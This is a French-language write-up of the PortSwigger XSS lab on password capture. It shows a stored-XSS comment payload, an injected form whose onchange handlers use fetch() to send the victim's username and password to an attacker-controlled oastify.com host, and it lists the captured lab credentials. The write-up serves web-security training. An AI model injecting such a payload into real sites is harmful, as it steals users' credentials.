> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/fr/web/xss/password-capture-via-xss.md).

# Capture de mot de passe via XSS

Notes sur la capture de mot de passe via XSS pour les laboratoires PortSwigger Web Security Academy, y compris le flux de travail d’exploitation, les tests de charge utile, la validation avec Burp Suite et le contexte de remédiation.

### Exploitation du Cross-site Scripting pour capturer des mots de passe

Ce laboratoire contient une vulnérabilité XSS persistante dans la fonctionnalité de commentaires du blog. Un utilisateur simulé (victime) consulte tous les commentaires après publication. L’objectif pédagogique est d’exploiter cette faille pour exfiltrer le nom d’utilisateur et le mot de passe de la victime, puis se connecter avec ces identifiants.

Un petit formulaire est injecté dans un commentaire. Lorsque la victime saisit ses informations, `fetch()` des requêtes envoient les valeurs vers une URL contrôlée par l’attaquant, permettant de capturer les identifiants de l’utilisateur.

Formulaire injecté

```html
Utilisateur :
<input name="username" id="username"
onchange="fetch('https://oa2pwdff52rm383bb9abv5myepkh87ww.oastify.com?username=' + this.value)">
<br><br>

Mot de passe :
<input name="password" id="password" type="password"
onchange="fetch('https://oa2pwdff52rm383bb9abv5myepkh87ww.oastify.com?password=' + this.value)">
```

* Le formulaire ci-dessus déclenche l’envoi de `nom d’utilisateur` et `mot de passe` champs vers l’URL d’écoute à chaque modification (`onchange`).

<figure><img src="https://3840167291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-1d1b27d906c6c150b7fd545fb67228b7d457f65c%2Fimage%20(424).png?alt=media" alt=""><figcaption></figcaption></figure>

Identifiants capturés :

* **Nom d’utilisateur :** `administrateur`

<figure><img src="https://3840167291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-c889809afe3bbb156de3afe3d443ca67944b67c5%2Fimage%20(425).png?alt=media" alt=""><figcaption></figcaption></figure>

* **Mot de passe :** `qzkcz73zlwri7yiwpf31`

<figure><img src="https://3840167291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-dc77aa1737c90db6e15fd6f3c33367ffe67503cd%2Fimage%20(426).png?alt=media" alt=""><figcaption></figcaption></figure>


---

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